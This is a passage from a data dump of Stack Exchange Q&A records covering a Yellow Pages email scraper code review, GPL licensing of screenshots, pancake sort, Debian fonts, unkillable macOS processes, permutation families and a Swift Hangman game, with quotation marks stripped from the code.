the file names which the for loop iterates over.export OUTPUT_DIRfind . -name '*.md' -exec sh -c 'for x; do ln -vs ${x%/*} $OUTPUT_DIR; done' _ {} +"  } 
{  "id": "_codereview.173105"  , "question": "I've written a script in python to scrape e-mail addresses from different pizza shops located in los-angeles available in yellowpage traversing multiple pages. It is able to go one-layer deep and dig out email addresses. I believe, this crawler has got the ability to parse all the emails from any link no matter how many pages it has spread across. Just needed to adjust the last page number in the crawler.Here is what I've written:import requestsfrom lxml import htmllink = https://www.yellowpages.comfor page_num in range(1,10):  for item in html.fromstring(requests.get(https://www.yellowpages.com/search?search_terms=pizza&geo_location_terms=Los%20Angeles%2C%20CA&page={0}.format(page_num)).text).cssselect('div.info h2.n a:not([itemprop=name]).business-name'):    for data in html.fromstring(requests.get(link + item.attrib['href']).text).cssselect('a.email-business'):      print(data.attrib['href'].replace(mailto:,))"  , "title": "E-mail crawler for yellowpages"  , "tags": "python;python 3.x;web scraping;lxml"  , "accepted_answer": "Knowing that you had a ton of scrappers questions, this doesn't look nice at all. It looks like you were in a hurry and didn't much care about how the code looks.StylingUse 4 spaces per indentation levelConstants should be LOWERCASEDYou should have a space after ,Your lines are way too long. Stick to 72 characters or 120 (at most)CodeFirst, you don't have to hardcode your search items. Instead, you might as well define a function which returns the data you need (the entire URL):def build_url(item, location, page):    params = urllib.parse.urlencode({        'search_terms': item,        'geo_location_terms': location,        'page': page    })    return '{}/search?{}'.format(URL, params)With that in mind, your code might be restructured nicer, like this:import requestsimport urllibfrom lxml import htmlURL = https://www.yellowpages.comLOWER_LIMIT = 1UPPER_LIMIT = 10def build_url(item, location, page):    params = urllib.parse.urlencode({        'search_terms': item,        'geo_location_terms': location,        'page': page    })    return '{}/search?{}'.format(URL, params)def scrape():    for page in range(LOWER_LIMIT, UPPER_LIMIT):        url = build_url('pizza', 'Los Angeles CA', page)        html_ = requests.get(url).text        for item in html.fromstring(html_).cssselect('div.info h2.n a:not([itemprop=name]).business-name'):            for data in html.fromstring(requests.get(URL + item.attrib['href']).text).cssselect('a.email-business'):                print(data.attrib['href'].replace(mailto:, ))if __name__ == '__main__':    scrape()Other changes that I did above:Move the logic into separate functionsMake the range arguments constants so that they can be easily modifiedAdd the guard check if __name__ == '__main__'As is, your scrapper is pretty slow because it has to search in each page the entire html for that specific a info. You might consider using Scrapy."  } 
{  "id": "_opensource.1844"  , "question": "With, say, a commercial game (Kerbal Space Program in this instance) with user mods, that are themselves GPL3 licenced and have an effect on the visuals of a screenshot (e.g. art assets, images, custom displays), does a screenshot that includes these custom visuals have to automatically be licenced under the GPL?My specific query is regarding the RasterPropMonitor plugin, which manages and renders real-time HUD screens. In this case, the whole project lists itself as GPL3, so I assume that automatically covers any attached images/textures, which would then undergo transformation/arrangement by the code - and then be visible on a screenshot.I can reason how the project can be allowed to be GPL3, as it is Downstream from the (closed source) base game that it links with (I assume that Unity classes as a 'System Library'), but am troubled by whether everything that touches or relates to the base mod also ends up being GPL3 - e.g. someone who provides a custom screen, is using the GPL3 mod, so that work would also have to be GPL3?"  , "title": "Is a screenshot with GPL3 resources, GPL3?"  , "tags": "gpl 3"  , "accepted_answer": "Screenshots might be a derivative work and might need to comply with GPL (or any other open source license).The factors to determine this are extremely complicated and must be judged individually depending on the screenshot and how the screenshot is being used. They also vary greatly depending what country's laws are being applied.If in doubt, this is a case where you need to contact a lawyer in your local jurisdiction.In the United States most screenshots are fair use because because they are some kind of commentary or education or archival of the original work and also because when you distribute copies of a screenshot you are not causing any financial harm to the copyright holder.In some situations, a screenshot can also be a de minimis copy, for example if a multi billion dollar movie has a scene where for 6 seconds an actor is using Linux... that would not be fair use but it would be such an insignificant use in the scheme of things that the movie cannot be considered a derivative of the GPL'd work. If, however, the movie was about linux then it would not be de minimis and GPL might apply (although if it was about linux then the copy could be fair use...).If fair use or de minimis do not apply, then a screenshot is a derivative work and you must comply with the license. Typically the best option is simply to ask for permission to distribute screenshots, but for GPL that is difficult - depending how the project is run you might need permission from every contributor going back hundreds of years.Fair use and de minimis copying are part of US copyright law however most other countries have something similar. The specific details vary greatly from country to country.You are usually only required to comply with copyright law in your own country. Again, ask a lawyer."  } 
{  "id": "_codereview.143381"  , "question": "ProblemSolve correct flips to sort given input with pancake sort.Exampleinput (input size and values):86 7 2 5 1 4 3 8solution (number of flips and how many elements to flip per operation):62 7 4 5 3 4    2 -> 7 6 2 5 1 4 3 8     7 -> 3 4 1 5 2 6 7 8     4 -> 5 1 4 3 2 6 7 8     5 -> 2 3 4 1 5 6 7 8     3 -> 4 3 2 1 5 6 7 8     4 -> 1 2 3 4 5 6 7 8 alternative solution:63 6 2 5 7 3Program doesn't need to actually sort anything, just give one possible solution.What would be faster way to calculate needed flips without resorting to sorting input with ineffective pancake sort?#include <iostream>#include <algorithm>#include <vector>int main() {    using namespace std;    ios::sync_with_stdio(false);    int N;    cin >> N;    vector<int> v(N);    vector<int> flips;    for (int i=0; i<N; ++i)        cin >> v[i];    auto first  = v.begin();    auto last   = v.end();    for (; first != last; --last)    {        auto mid = max_element(first, last);        if (mid == last - 1) {            continue;        }        if (first != mid) {            flips.push_back(distance(first, mid+1));            reverse(first, mid + 1);        }        flips.push_back(distance(first, last));        reverse(first, last);    }    cout << flips.size() << endl;    for (auto flip : flips)        cout << flip <<  ;    cout << endl;}"  , "title": "Finding solution for pancake sort efficiently without actually flipping each time"  , "tags": "c++;sorting"  } 
{  "id": "_unix.249485"  , "question": "Just moved from windows and installed Debian 8, got chrome running When i visited google.co.in the various languages are showing as boxes.Tried dkpg-locale reconfigure noting worked ,PS: I am new to linux & debian :) "  , "title": "Fonts Not showing Up - Debian 8"  , "tags": "linux;debian;locale"  , "accepted_answer": "To display non-ASCII characters you need to have the appropriate font packages installed; glyphs that can't be displayed will be shown as a box outline.I generally have the following font packages installed in Debian and see most languages in their own font:fonts-dejavu-extrafonts-freefont-ttffonts-liberationttf-mscorefonts-installerttf-unifontPerhaps you only need one or two, but these give a reasonably complete coverage in my experience."  } 
{  "id": "_unix.274213"  , "question": "(On OS X 10.11.3)I'm having a problem starting a java process that needs to listen on port 8040. Getting a BindException. So seems like somebody else is already listening on it. A quick check confirms that:lsof -i TCP| fgrep LISTEN | grep 8040jspawnhel 13566 alon  255u  IPv6 0x2a5edc8fe0a093d7      0t0  TCP *:8040 (LISTEN)jspawnhel 14482 alon  255u  IPv6 0x2a5edc8fe0a093d7      0t0  TCP *:8040 (LISTEN)jspawnhel 81770 alon  255u  IPv6 0x2a5edc8fe0a093d7      0t0  TCP *:8040 (LISTEN)So, I'm trying to figure out what these processes are, but I don't understand what ps is showing me:ps ax | grep 13566\\|14482\\|8177013566   ??  U      0:00.00 313:31614482   ??  U      0:00.00 324:32781770   ??  U      0:00.00 301:304what does the ?? mean? what is 313:316 in this context?I can't kill it either, even with -9:kill -9 13566ps ax | grep 1356613566   ??  U      0:00.00 313:316Tried many times...Any help is appreciated."  , "title": "What are these processes and why can't I kill them?"  , "tags": "process;osx;kill;ps"  , "accepted_answer": "If you run ps ax without the grep, you'll see the column headers:PID   TT  STAT      TIME COMMAND?? is in the TT column -- that's the controlling terminal for the process.  The ?? indicates that the process isn't associated with a terminal.The U in the STAT column indicates that the process is in the uninterruptible sleep state.  That explains why you cannot kill it -- is blocked in an uninterruptible sleep in the kernel and cannot be awoken to be terminated. When the process eventually exits the uninterruptible state, it will notice the signal and die.The numbers in the right are in the COMMAND column -- that's the name of the process.  As for what those processes are, I don't know."  } 
{  "id": "_softwareengineering.323706"  , "question": "I am learning API. I now want to write a program to send an email once some twitter users tweet.I have found there is an API call (user_timeline) which can get the tweets from an user.So my idea is to store the latest tweet, and keep calling user_timeline to detect whether the latest tweet changes. It would require my program to send requests like every single minute.Is this a common way to implement this functionality? Any suggestions would be appreciated!"  , "title": "How to detect someone tweets using twitter API?"  , "tags": "algorithms;api;web services;web;twitter"  } 
{  "id": "_cstheory.20693"  , "question": "I'm looking for a set of permutations over $n$ elements $\\mathcal{P}=\\{P_1,P_2,...,P_r\\}$ of minimal size such that for every ordered subset of size $k$, $S=<x_1,x_2,...,x_k>, (x_i \\in [n])$, there exists a permutation $P \\in\\mathcal{P}, $ such that $P(x_1)<P(x_2)<...<P(x_k)$.A simple probabilistic argument can show that such family of size $r=k!\\cdot k\\cdot log(n)+1$ exists:Suppose we draw $r$ random permutations.The chance that some specific $<x_1,...,x_k>$ is not ordered by non of the permutations is $(1-\\frac{1}{k!})^r$.Using the union bound, the chance that any ordered k tuple will not be ordered is bounded by:$(1-\\frac{1}{k!})^r\\cdot$$ n\\choose k$$\\cdot k!<(1-\\frac{1}{k!})^r\\cdot n^k < n^k\\cdot e^{-r/k!}$If we demand that the probability will be less than 1 (which ensures such family exists), we get the desired size, $r>k!\\cdot k\\cdot log(n)$.The question is:Is there an explicit build for such family? is it computable in $O(k!\\cdot poly(n))$ time?This question might have been referred to somewhere in a different name, so if anyone is familiar with it, a reference will be great.Edit: Andreas gave a nice build for parametric $k$.What about the case that $k$ is a small, fixed number?If $k=2$, then it's easy: take $\\mathcal{P}=\\{<1,2,...,n>,<n,n-1,...,1>\\}$.Can we build $O(1)$ sized 3-perfect permutation family? higher fixed $k$?"  , "title": "Constructing a k-perfect permutations family"  , "tags": "ds.algorithms;co.combinatorics;extremal combinatorics"  , "accepted_answer": "Here is a sketch on how to do almost what you want, but not quite. It only proves a $k^{k+\\operatorname{polylog}(k)}\\log n$ bound.Consider a set of size $m=n\\log_2 k$ which we think of as $n$ groups on $\\log_2 k$ elements each.Next construct an $(m,k\\log_2 k)$-universal set family $F$ of size $2^{k\\log k+\\operatorname{polylog}(k)}\\log m$ using the method of Naor, Schulman, and Srinivasan. We interprete each set in $F$ as a string on $n$ symbols from $[k]$ with one symbol for each group.Now we turn each string into a permutation of $[n]$ in the following way:We first think of the $n$ first positive integers divided in $k$ stacks $T_0$ throgh $T_{k-1}$ where $T_0$ contains the elements $1,...,n/k$ from top to bottom, $T_1$ contains $n/k+1,...,2n/k$, and so on.We parse each string $s_1s_2...s_n\\in F$ into a permutation by considering the symbols one at a time for increasing $j$, and on encountering symbol $s_j$ we pop the stack$T_{s_j}$ from the top and put that number in place $j$ of the permutation.Since the family $F$ was $(m,k\\log_2 k)$-universal, we know that for every ordered set of $k$ of the $n$ groups, there is one string that maps the symbols $0$,$1$,...,$k-1$ to that ordered set. By the construction of the stacks, the elements fetched to the permutations preserve the order required."  } 
{  "id": "_datascience.20179"  , "question": "While training models in machine learning, why is it sometimes advantageous to keep the batch size to a power of 2? I thought it would be best to use a size that is the largest fit in your GPU memory / RAM.This answer claims that for some packages, a power of 2 is better as a batch size. Can someone provide a detailed explanation / link to a detailed explanation for this? Is this true for all optimisation algorithms (gradient descent, backpropagation, etc) or only some of them?"  , "title": "What is the advantage of keeping batch size a power of 2?"  , "tags": "machine learning;training"  } 
{  "id": "_webmaster.105019"  , "question": "I was wondering if the following is good for SEO. I have a webshop with categories and products. Products can contain - themselves.For example, one of the URLs would be:http://SITE/products/CATEGORY/this+is+something+1-layerWhere the product name is This is something 1-layerNow, I understand it's better to use - as space replacement, but since my product names can contain a - I was wondering if just using + would be good.If not, what would be a better way to display it?"  , "title": "Are plusses a good second character to use for spaces in URLs for SEO when dashes are already in use?"  , "tags": "seo;url"  } 
{  "id": "_codereview.97424"  , "question": "I am a Java programmer trying to learn the ways of Swift. I coded a Hangman game in Xcode. I was wondering what I could improve, specifically whether I used delegation correctly and if there is anything I can do more elegantly in Swift.Title View Controllerimport UIKit@IBDesignableclass TitleViewController: UIViewController {//Mark - Properties@IBOutlet weak var hangmanTitleLabel: UILabel! {    didSet {        let hangmanTitle: NSString = Hangman        let attributes = [NSFontAttributeName: UIFont(name: MarkerFelt-Thin, size: 48.0)!, NSForegroundColorAttributeName: UIColor.redColor()]        let titleString = NSAttributedString(string: hangmanTitle as String, attributes: attributes)        hangmanTitleLabel.attributedText = titleString    }}//MARK - Lifecycle functionsoverride func shouldAutorotate() -> Bool {    return false}override func supportedInterfaceOrientations() -> UIInterfaceOrientationMask {    return UIInterfaceOrientationMask.Portrait}override func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {    if let destination = segue.destinationViewController as? GameViewController {        if let identifier = segue.identifier {            switch identifier {            case Easy: destination.brain.level = Easy            case Medium: destination.brain.level = Medium            case Hard: destination.brain.level = Hard            default: break            }        }    }}}TitleViewimport UIKit//MARK - Global Functionsfunc connectPoints(bottomLeftPoint: CGPoint, bottomRightPoint: CGPoint, topLeftPoint: CGPoint, topRightPoint: CGPoint, color: UIColor) {color.set()let path = UIBezierPath()path.moveToPoint(bottomLeftPoint)path.addLineToPoint(topLeftPoint)path.addLineToPoint(topRightPoint)path.addLineToPoint(bottomRightPoint)path.closePath()path.fill()path.stroke()}func calculateMidPoint(point1: CGPoint, point2: CGPoint) -> CGPoint {return CGPoint(x: (point1.x + point2.x) / 2, y: (point1.y + point2.y) / 2)}class TitleView: UIView {//MARK - Drawing Scales and Constantsstruct DrawingConstants {    static let gallowBaseStartScale: CGFloat = 0.15    static let gallowBaseEndScale: CGFloat = 0.85    static let gallowBaseHeight: CGFloat = 10    static let gallowHeight: CGFloat = 0.15    static let gallowHeightStart: CGFloat = 0.175    static let gallowHeightWidth: CGFloat = 10    static let gallowAcrossScale: CGFloat = 0.5    static let gallowTipHeight: CGFloat = 17.5    static let headRadius: CGFloat = 16    static let bodyLength: CGFloat = 25    static let bodyHeight: CGFloat = 25    static let legLength: CGFloat = 50    static let grassHeightScale: CGFloat = 0.68    static let armBack: CGFloat = 5}//MARK - Drawing Functionsoverride func drawRect(rect: CGRect) {    drawGrass()    drawSky()    drawGallow()    drawDude()}func drawGrass() {    let topStartPoint = CGPoint(x: CGFloat(0), y: CGFloat(bounds.size.height * DrawingConstants.grassHeightScale))    let topRightPoint = CGPoint(x: CGFloat(bounds.size.width), y: topStartPoint.y)    let bottomRightPoint = CGPoint(x: topRightPoint.x, y: CGFloat(bounds.size.height))    let bottomLeftPoint = CGPoint(x: CGFloat(0), y: bottomRightPoint.y)    connectPoints(bottomLeftPoint, bottomRightPoint: bottomRightPoint, topLeftPoint: topStartPoint, topRightPoint: topRightPoint, color: UIColor.greenColor())}func drawSky() {    let bottomLeftPoint = CGPoint(x: CGFloat(0), y: CGFloat(bounds.size.height * DrawingConstants.grassHeightScale))    let topLeftPoint = CGPoint(x: CGFloat(0), y: CGFloat(0))    let topRightPoint = CGPoint(x: CGFloat(bounds.size.width), y: CGFloat(0))    let bottomRightPoint = CGPoint(x: CGFloat(bounds.size.width), y: CGFloat(bounds.size.height * DrawingConstants.grassHeightScale))    connectPoints(bottomLeftPoint, bottomRightPoint: bottomRightPoint, topLeftPoint: topLeftPoint, topRightPoint: topRightPoint, color: UIColor.cyanColor())}func drawGallow() {    drawGallowBase()    drawGallowHeight()    drawGallowAcross()    drawGallowTip()}func drawGallowBase() {    let bottomLeftPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowBaseStartScale), y: CGFloat(bounds.size.height * DrawingConstants.grassHeightScale))    let topLeftPoint = CGPoint(x: bottomLeftPoint.x, y: bottomLeftPoint.y - DrawingConstants.gallowBaseHeight)    let topRightPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowBaseEndScale), y: topLeftPoint.y)    let bottomRightPoint = CGPoint(x: topRightPoint.x, y: bottomLeftPoint.y)    connectPoints(bottomLeftPoint, bottomRightPoint: bottomRightPoint, topLeftPoint: topLeftPoint, topRightPoint: topRightPoint, color: UIColor.brownColor())}func drawGallowHeight() {    let bottomLeftPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowHeightStart), y: CGFloat(bounds.size.height * DrawingConstants.grassHeightScale - DrawingConstants.gallowBaseHeight))    let bottomRightPoint = CGPoint(x: bottomLeftPoint.x + DrawingConstants.gallowHeightWidth, y: bottomLeftPoint.y)    let topLeftPoint = CGPoint(x: bottomLeftPoint.x, y: bounds.size.height * DrawingConstants.gallowHeight)    let topRightPoint = CGPoint(x: bottomRightPoint.x, y: topLeftPoint.y)    connectPoints(bottomLeftPoint, bottomRightPoint: bottomRightPoint, topLeftPoint: topLeftPoint, topRightPoint: topRightPoint, color: UIColor.brownColor())}func drawGallowAcross() {    let bottomLeftPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowHeightStart) + DrawingConstants.gallowHeightWidth, y: CGFloat(bounds.size.height * DrawingConstants.gallowHeight + DrawingConstants.gallowBaseHeight))    let bottomRightPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale), y: bottomLeftPoint.y)    let topLeftPoint = CGPoint(x: bottomLeftPoint.x, y: CGFloat(bounds.size.height * DrawingConstants.gallowHeight))    let topRightPoint = CGPoint(x: CGFloat(bottomRightPoint.x), y: topLeftPoint.y)    connectPoints(bottomLeftPoint, bottomRightPoint: bottomRightPoint, topLeftPoint: topLeftPoint, topRightPoint: topRightPoint, color: UIColor.brownColor())}func drawGallowTip() {    let topLeftPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale - DrawingConstants.gallowHeightWidth), y: CGFloat(bounds.size.height * DrawingConstants.gallowHeight + DrawingConstants.gallowBaseHeight))    let topRightPoint = CGPoint(x: CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale), y: topLeftPoint.y)    let bottomLeftPoint = CGPoint(x: topLeftPoint.x, y: topLeftPoint.y + DrawingConstants.gallowTipHeight)    let bottomRightPoint = CGPoint(x: topRightPoint.x, y: bottomLeftPoint.y)    connectPoints(bottomLeftPoint, bottomRightPoint: bottomRightPoint, topLeftPoint: topLeftPoint, topRightPoint: topRightPoint, color: UIColor.brownColor())}private func drawDude() {    drawHead()    drawBody()}func drawHead() {    let centerX = CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale - (DrawingConstants.gallowHeightWidth / 2))    let centerY = CGFloat(bounds.size.height * DrawingConstants.gallowHeight + DrawingConstants.gallowBaseHeight + DrawingConstants.gallowTipHeight + DrawingConstants.headRadius)    let center = CGPoint(x: centerX, y: centerY)    UIColor.blackColor().set()    let path = UIBezierPath(arcCenter: center, radius: DrawingConstants.headRadius, startAngle: CGFloat(0), endAngle: CGFloat(2 * M_PI), clockwise: true)    path.lineWidth = CGFloat(2)    path.stroke()}private func drawBody() {    let add = CGFloat(DrawingConstants.gallowBaseHeight + DrawingConstants.gallowTipHeight + 2 * DrawingConstants.headRadius)    let startPointY = CGFloat(bounds.size.height * DrawingConstants.gallowHeight + add)    let startPointX = CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale - (DrawingConstants.gallowHeightWidth / 2))    let startPoint = CGPoint(x: startPointX, y: startPointY)    let midPoint = CGPoint(x: startPoint.x + DrawingConstants.bodyLength, y: startPoint.y + DrawingConstants.bodyHeight)    let endPoint = CGPoint(x: midPoint.x + DrawingConstants.legLength, y: midPoint.y)    let bodyMid = calculateMidPoint(startPoint, point2: midPoint)    let armStartX = CGFloat(bodyMid.x - DrawingConstants.armBack)    let armStartY = CGFloat(bodyMid.y - DrawingConstants.armBack)    let armStart = CGPoint(x: armStartX, y: armStartY)    let armMid = CGPoint(x: armStart.x, y: midPoint.y)    let armEnd = CGPoint(x: bodyMid.x + DrawingConstants.armBack, y: armMid.y)    let legStart = calculateMidPoint(midPoint, point2: endPoint)    let legEndX = calculateMidPoint(legStart, point2: endPoint).x    let legEndY = endPoint.y    let legMidX = legStart.x    let legMidY = armStartY    let legMid = CGPoint(x: legMidX, y: legMidY)    let legEnd = CGPoint(x: legEndX, y: legEndY)    UIColor.blackColor().set()    let path = UIBezierPath()    path.lineWidth = CGFloat(2)    path.moveToPoint(startPoint)    path.addLineToPoint(midPoint)    path.addLineToPoint(endPoint)    path.stroke()    path.moveToPoint(armStart)    path.addLineToPoint(armMid)    path.addLineToPoint(armEnd)    path.moveToPoint(midPoint)    path.addLineToPoint(legMid)    path.addLineToPoint(legEnd)    path.stroke()}}GameView Controllerimport UIKitclass GameViewController: UIViewController, gameViewDataSource {//MARK - Properties@IBOutlet weak var gameView: GameView! {    didSet {        gameView.dataSource = self    }}@IBOutlet weak var youLose: UILabel! {    didSet {        youLose.textColor = UIColor.cyanColor()        youLose.font = UIFont(name: MarkerFelt-Thin, size: CGFloat(48.0))    }}@IBOutlet weak var youWin: UILabel! {    didSet {        youWin.textColor = UIColor.cyanColor()        youWin.font = UIFont(name: MarkerFelt-Thin, size: CGFloat(48.0))    }}@IBOutlet weak var numberOfGuessesLabel: UILabel! {    didSet {        if let guesses = brain.guesses {            numberOfGuessesLabel.text = \\(guesses)        }    }}@IBOutlet weak var gameWordLabel: UILabel! {    didSet {        let gameWord = brain.gameWord        gameWordLabel.text = gameWord    }}@IBAction func guess(sender: UIButton) {    if running {        let guessedAlready = sender.currentTitleColor        if guessedAlready == UIColor.redColor() {            return        } else {            sender.setTitleColor(UIColor.redColor(), forState: .Normal)            let guess = sender.currentTitle!            brain.checkGuessAndUpdateGameWordAndGuesses(character: guess)            numberOfGuessesLabel.text = \\(brain.guesses!)            gameWordLabel.text = brain.gameWord            gameView.setNeedsDisplay()            checkYouWin()            checkYouLose()        }    }}var running = truevar brain = HangmanBrain()//MARK - Lifecycle Functionsoverride func shouldAutorotate() -> Bool {    return false}override func supportedInterfaceOrientations() -> UIInterfaceOrientationMask {    return UIInterfaceOrientationMask.Portrait}//MARK - Gameplay Methodsfunc numberOfGuessesLeft() -> Int {    return brain.guesses!}func gameLevel() -> String {    return brain.level}func checkYouLose() {    if brain.theUserLost() {        running = false        youLose.textColor = UIColor.redColor()        brain.buildCorrectWord()        gameWordLabel.text = brain.gameWord    }}func checkYouWin() {    if brain.theUserWon() {        running = false        youWin.textColor = UIColor.redColor()    }}}GameViewimport UIKit//MARK - GameView protocolprotocol gameViewDataSource: class {func numberOfGuessesLeft() -> Intfunc gameLevel() -> String}//MARK - Global Functionfunc drawLine(startPoint: CGPoint, endPoint: CGPoint) {let path = UIBezierPath()path.lineWidth = CGFloat(2)path.moveToPoint(startPoint)path.addLineToPoint(endPoint)path.stroke()}class GameView: TitleView {//MARK - Drawing Scales and Constantsstruct ScaleConstants {    static let bodyLength: CGFloat = 50    static let limbLength: CGFloat = 25    static let handHeightScale: CGFloat = 0.4    static let headRadius: CGFloat = 20    static let eyeRadius = CGFloat(0.15 * ScaleConstants.headRadius)    static let eyeOffset = CGFloat(0.3 * ScaleConstants.headRadius)    static let mouthOffSet = CGFloat(0.3 * ScaleConstants.headRadius)    static let mouthRadius = CGFloat(0.25 * ScaleConstants.headRadius)}//MARK - Propertiesweak var dataSource = gameViewDataSource?()private var bodyStart: CGPoint = CGPointZeroprivate var bodyEnd: CGPoint = CGPointZeroprivate var headMiddle: CGPoint = CGPointZero//MARK - Drawing functionsoverride func drawRect(rect: CGRect) {    drawSky()    drawGrass()    drawGallow()    let level = dataSource?.gameLevel()    let guesses = dataSource?.numberOfGuessesLeft()    var wrongGuessesSoFar = 0    var maxGeusses = 0    switch level! {        case Hard:            maxGeusses = 6        case Medium:            maxGeusses = 8        case Easy:            maxGeusses = 10    default: break    }    wrongGuessesSoFar = maxGeusses - guesses!    startDrawChain(wrongGuessesSoFar)}func startDrawChain(numberOfGuesses: Int) {    drawHead(numberOfGuesses)}func drawHead(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {    let centerX = CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale - (DrawingConstants.gallowHeightWidth / 2))    let centerY = CGFloat(bounds.size.height * DrawingConstants.gallowHeight + DrawingConstants.gallowBaseHeight + DrawingConstants.gallowTipHeight + ScaleConstants.headRadius)    let center = CGPoint(x: centerX, y: centerY)    headMiddle = center    UIColor.blackColor().set()    let path = UIBezierPath(arcCenter: center, radius: ScaleConstants.headRadius, startAngle: CGFloat(0), endAngle: CGFloat(2 * M_PI), clockwise: true)    path.lineWidth = CGFloat(2)    path.stroke()    drawBody(numberOfGuesses - 1)    }}func drawBody(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {    UIColor.blackColor().set()    let add = CGFloat(DrawingConstants.gallowBaseHeight + DrawingConstants.gallowTipHeight + 2 * ScaleConstants.headRadius)    let startPointY = CGFloat(bounds.size.height * DrawingConstants.gallowHeight + add)    let startPointX = CGFloat(bounds.size.width * DrawingConstants.gallowAcrossScale - (DrawingConstants.gallowHeightWidth / 2))    let startPoint = CGPoint(x: startPointX, y: startPointY)    let endPoint = CGPoint(x: startPoint.x, y: startPoint.y + ScaleConstants.bodyLength)    bodyStart = startPoint    bodyEnd = endPoint    drawLine(startPoint, endPoint: endPoint)    drawLeftLeg(numberOfGuesses - 1)    }}func drawLeftLeg(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        let startPoint = CGPoint(x: bodyEnd.x, y: bodyEnd.y)        let endPoint = CGPoint(x: startPoint.x - ScaleConstants.limbLength, y: startPoint.y + ScaleConstants.limbLength)        drawLine(startPoint, endPoint: endPoint)        drawRightLeg(numberOfGuesses - 1)    }}func drawRightLeg(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        let startPoint = CGPoint(x: bodyEnd.x, y: bodyEnd.y)        let endPoint = CGPoint(x: startPoint.x + ScaleConstants.limbLength, y: startPoint.y + ScaleConstants.limbLength)        drawLine(startPoint, endPoint: endPoint)        drawLeftArm(numberOfGuesses - 1)    }}func drawLeftArm(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        let startPoint = CGPoint(x: bodyStart.x, y: bodyStart.y + ScaleConstants.handHeightScale * ScaleConstants.bodyLength)        let endPoint = CGPoint(x: startPoint.x - ScaleConstants.limbLength, y: startPoint.y - ScaleConstants.limbLength * ScaleConstants.handHeightScale)        drawLine(startPoint, endPoint: endPoint)        drawRightArm(numberOfGuesses - 1)    }}func drawRightArm(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        let startPoint = CGPoint(x: bodyStart.x, y: bodyStart.y + ScaleConstants.handHeightScale * ScaleConstants.bodyLength)        let endPoint = CGPoint(x: startPoint.x + ScaleConstants.limbLength, y: startPoint.y - ScaleConstants.limbLength * ScaleConstants.handHeightScale)        drawLine(startPoint, endPoint: endPoint)        drawLeftEye(numberOfGuesses - 1)    }}func drawLeftEye(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        UIColor.blackColor().set()        let eyeMiddle = CGPoint(x: headMiddle.x - ScaleConstants.eyeOffset, y: headMiddle.y - ScaleConstants.eyeOffset)        let path = UIBezierPath(arcCenter: eyeMiddle, radius: ScaleConstants.eyeRadius, startAngle: 0, endAngle: CGFloat(2 * M_PI), clockwise: true)        path.lineWidth = CGFloat(1)        path.stroke()        drawRightEye(numberOfGuesses - 1)    }}func drawRightEye(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        UIColor.blackColor().set()        let eyeMiddle = CGPoint(x: headMiddle.x + ScaleConstants.eyeOffset, y: headMiddle.y - ScaleConstants.eyeOffset)        let path = UIBezierPath(arcCenter: eyeMiddle, radius: ScaleConstants.eyeRadius, startAngle: 0, endAngle: CGFloat(2 * M_PI), clockwise: true)        path.lineWidth = CGFloat(1)        path.stroke()        drawMouth(numberOfGuesses - 1)    }}func drawMouth(numberOfGuesses: Int) {    if numberOfGuesses == 0 {        return    } else {        UIColor.blackColor().set()        let mouthMiddle = CGPoint(x: headMiddle.x, y: headMiddle.y + ScaleConstants.mouthOffSet)        let path = UIBezierPath(arcCenter: mouthMiddle, radius: ScaleConstants.mouthRadius, startAngle: 0, endAngle: CGFloat(2 * M_PI), clockwise: true)        path.lineWidth = CGFloat(1)        path.stroke()    }}}Hangman Brainimport Foundationimport Darwinclass HangmanBrain {//MARK - Database of Wordsprivate struct Words {    static let Easy: [String] = [fireplace,apple,january,tooth,cookies,mysterious,essential,magenta,darling,pterodactyl]    static let Medium: [String] = [palace,thumb,eleven,monkey,hunter,wounds,wright,egypt,slaves,zipper]    static let Hard: [String] = [jazz,puff,jiff,sphinx,vex,pox,hajj,jinx,vine,mom]    static let numberOfWordsPerLevel = 10}//MARK - Propertiesvar level: String =  {    didSet {        chooseWord(wordLevel: level)        setNumberOfGuesses(level: level)    }}var guesses: Int? = nilvar word: String? = nilvar gameWord = private let wordsByLevel : [String: [String]] = [Easy: Words.Easy, Medium: Words.Medium, Hard: Words.Hard]//MARK - Gameplay Functionsprivate func chooseWord(wordLevel wordLevel: String) {    let UInt = UInt32(Words.numberOfWordsPerLevel - 1)    let wordNumber = Int(arc4random_uniform(UInt))    let wordChosen = wordsByLevel[wordLevel]![wordNumber]    word = wordChosen    gameWord =     for _ in wordChosen.characters {        createGameWord(character: _)    }}private func setNumberOfGuesses(level level: String) {    switch level {    case Easy: guesses = 10    case Medium: guesses = 8    case Hard: guesses = 6    default: break    }}func checkGuessAndUpdateGameWordAndGuesses(character character: String) {    var guessIsCorrect = false    let answer = word!    let currentWord = gameWord as String    gameWord =     let currentWordTrimmed = currentWord.stringByReplacingOccurrencesOfString( , withString: )    let numberOfLetters = answer.characters.count as Int    for i in 0...numberOfLetters-1 {        let start = advance(currentWordTrimmed.startIndex, i)        let end = advance(currentWordTrimmed.startIndex, i+1)        let subCurrentWord = currentWordTrimmed.substringWithRange(Range<String.Index>(start: start, end: end))        if subCurrentWord != _ {            createGameWord(character: subCurrentWord)        } else {            let subAnswer = answer.substringWithRange(Range<String.Index>(start: start, end: end))            if subAnswer == character.lowercaseString {                guessIsCorrect = true                createGameWord(character: subAnswer)            } else {                createGameWord(character: _)            }        }    }    if(!guessIsCorrect) {        guesses = guesses! - 1    }}func buildCorrectWord() {    gameWord =     for c in word!.characters {        createGameWord(character: \\(c))    }}func createGameWord(character character: String) 